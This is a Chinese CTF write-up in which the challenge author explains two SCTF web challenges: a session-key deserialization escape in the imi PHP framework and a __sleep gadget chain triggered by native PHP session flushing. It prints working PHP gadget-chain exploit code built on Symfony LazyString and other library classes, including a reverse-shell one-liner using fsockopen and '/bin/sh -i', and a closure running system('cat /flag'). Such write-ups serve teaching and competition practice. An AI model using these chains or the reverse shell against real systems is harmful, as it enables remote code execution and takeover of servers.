SCTF两道web题的writeup及出题感想

AFKL 2022-01-13 10:09:00
CTF

0x00 EZOSU

unsafe session

本题利用了一个名为imi的框架。

本题有且只有一个路由由php处理/config,其实现如下:

image-20211229211433630

这个路由的代码中最惹人注意的地方是,session的键值是可以被用户控制的。

imi框架是用swoole起点的,但swoole本身不支持php的原生session,所以为了兼容原生的session,imi框架自己写了一个session模块,并兼容了原生session。

在原生session文件处理的实现中,开发者使用|对属性进行分割,但键名没有过滤,可以插入|。如果用户可控键名,那么就会导致反序列化逃逸。

image-20211229210444085

find gadget

那么接下来就是找反序列化链了。本次比赛的选手找到了各种各样的链,这里先说一下预期链:

由于本人在测试时并没有找到destruct触发的链。所以基于反序列化函数后的代码尝试触发toString。但我们可以看到反序列化得到的对象,经过两行代码后就进入了serialize函数中。这意味着我们可以通过触发__sleep来触发一条序列化链。

这里是我找到的gadget。

<?php
namespace Symfony\Component\String {
    class LazyString {
        private $value;

        public function __construct($a)
        {
            $this->value = $a;
        }
    }
}

namespace Imi\Aop {
    class JoinPoint {
        protected array $args;
    }

    class AroundJoinPoint extends JoinPoint {
        private $nextProceed;

        public function __construct($a, $b)
        {
            $this->args = $a;
            $this->nextProceed = $b;
        }
    }
}

namespace GrahamCampbell\ResultType {
    class Success {
        private $value;

        public function __construct($a)
        {
            $this->value = $a;
        }
    }
}

namespace {
    $ip = "127%2E0%2E%2E1";
    $re = "php -r '\$sock=fsockopen(urldecode(\"$ip\"),8888);exec(\"/bin/sh -i <&3 >&3 2>&3\");'";

    $exp = new \Symfony\Component\String\LazyString(
        [
            new \Imi\Aop\AroundJoinPoint(
                [new \GrahamCampbell\ResultType\Success($re), "flatMap"], 
                [new \GrahamCampbell\ResultType\Success("system"), "flatMap"]
            ),
            "proceed"
        ]
    );
    echo json_encode(["aaa|".serialize($exp)."aa" => "aaaa"]);
}

入口是十分经典的LazyString,其__sleep会去调用__toString方法。一些选手使用此方法以为是什么神秘的地方调用了__toString,实际上是调用了__sleep方法。

image-20211229232716199

这里我们可以调用任意类的公共方法,这里我选择了Imi\Aop\AroundJoinPoint::proceed:

image-20211229232832689
其参数默认为null,$args可以通过父类属性获取,但必须是array类型。这个地方的动态调用虽然函数可控,但参数只有一个,且参数类型必须是array,是无法getshell的。那么就继续找存在动态调用的公共方法。

最终找到了GrahamCampbell\ResultType\Success::flatMap,其参数必须是callable类型。

image-20211229233610931

动态调用公共方法的数组是被算作callable类型的,所以只要利用两次这个方法即可。

调用流程图

other gadget

当然我说过,gadget不止这一条。主要有以下分类:

  1. 有人使用phpggcmonolog/RCE1就直接打穿了<sub>~焯</sub>~。
  2. 一样也是用的monolog打,但只是用了起点,中间过程还是用到其它类。
  3. 和预期一样用了LazyString,但都没有注意到调用了__sleep,以为调用的是toString

很想吐槽monolog,你都2.3.5版本了,怎么还不修链,学学人家yii啊,搞的我这道题都是非预期(bushi

还有一些队伍使用monologdestruct加其它的类来触发反序列化链,就不说了。如果抛开monolog的话,本题找destructwakeup起点的链其实很难。原因有两点:

  1. 因为此框架的类属性都是限定类型的,那么找gadget就会变成java那样比较麻烦。目前来看目前没有一个队伍的起点是imi框架里的。
  2. Symfony官方好歹知道危险的类应该在__wakeup用抛出报错来避免被反序列化。这样我们可以用的起点就大大减少了。

other point

因为开发者设置的特殊规则,session键值中的.符号会被解释为子属性。因此链中的.符号必须进行特殊处理。比如我这里使用php反弹shell时将会被转义的符号url编码,在执行反弹shell代码的时候再解开。

出题初衷

总的来说,我这道题是希望做这道题的师傅不要局限于反序列化的八股文上,而是关注其原理本身。

我在找预期链的时候找了很久也没有找到反序列化链<sub>~(忽略了monolog)</sub>~。然后在发现下面的serialize函数时,我便想到:php的反序列化漏洞本质,是要用自己可控的类来触发那些魔法方法;而这里的serialize也可以触发魔法方法,传入的参数也可以控制。通过此推理得到了预期的__sleep链。

但最后这道题似乎并没有起到应有的作用(还是自己太菜。
既然自己这么菜就不说太多大道理了,自己有实力才能说服别人。

0x01 Upload it

预期解

在出完ezsou一题后,我注意到imi框架作者使用序列化来统计字符串长度,导致触发了__sleep链。我便想php的原生session是否也会触发。于是便去审计php源码。最后发现确实会触发,但原理不太一样。

session.c#L2744中,可以发现session组件在一个请求结束后判断session是否active,如果active就去调用php_session_flush函数。

一般情况下session是不会由开发者主动关闭的,而本题中的代码也没有主动关闭。所以这里必然会进入if语句中。

image-20211230171214360

image-20211230171409423

image-20211230171503656

经过一系列调用,最终程序会走到php_session_encode中,而这个函数会调用对应的session.serialize_handler。

image-20211230171751978

题目中的handler通过phpinfo得知为php

image-20211230171933991

phphandler的encode实现中必然调用了序列化函数,那么说明php的原生session同样可以触发__sleep链。

image-20211230172121544

那么这样只需要通过LazyString__sleep点调用匿名函数库即可。

<?php
namespace Symfony\Component\String {
    class LazyString {
        private $value;

        public function __construct($a)
        {
            $this->value = $a;
        }
    }
}

namespace {
    include_once "vendor/autoload.php";
    $func = function() {system("cat /flag");};
    $raw = \Opis\Closure\serialize($func);
    $data = unserialize($raw);
    $exp = new \Symfony\Component\String\LazyString($data);

    var_dump(base64_encode(serialize($exp)));
}

总的来说,两者触发__sleep链的原因并不一样。php原生的session会触发__sleep链是因为对session的数据进行刷新。而imi框架的会触发__sleep链是开发者偷懒使用serialize来统计字符长度。

十万乃至九万的非预期

这道题最失败的一点,如同某位大师傅说的:

image-20211231024912928

确实这种组件必然有写就有读,而且触发过于简单,导致许多人并没有注意到触发__sleep链的这个操作就把题做出来了,这脱离了我出这题的初衷...

还有就是我对库本身还不够理解,例如我并不知道匿名函数库中的function字段可以将function() {system("cat /f*");}修改为一段代码system("cat /f*")。这样可以直接在反序列化的时候触发。这也是为什么我临时出了一道Upload it 2,去掉了匿名函数库。

image-20211231030648347

还有就是session中的属性有字符串操作,导致其直接触发了__toString...

总的来说upload it两题出的很失败,希望师傅们多多谅解。

0x02 后记

最后希望师傅们可以通过本文学到一点东西。
另外一道php ast相关的题,由于各个选手的代码量极大,我还需要继续学习汇总一下。后期会开源在github上,请各位期待~

评论

AFKL

这个人很懒,没有留下任何介绍

随机分类

Web安全 文章:248 篇
XSS 文章:34 篇
安全管理 文章:7 篇
前端安全 文章:29 篇
其他 文章:95 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录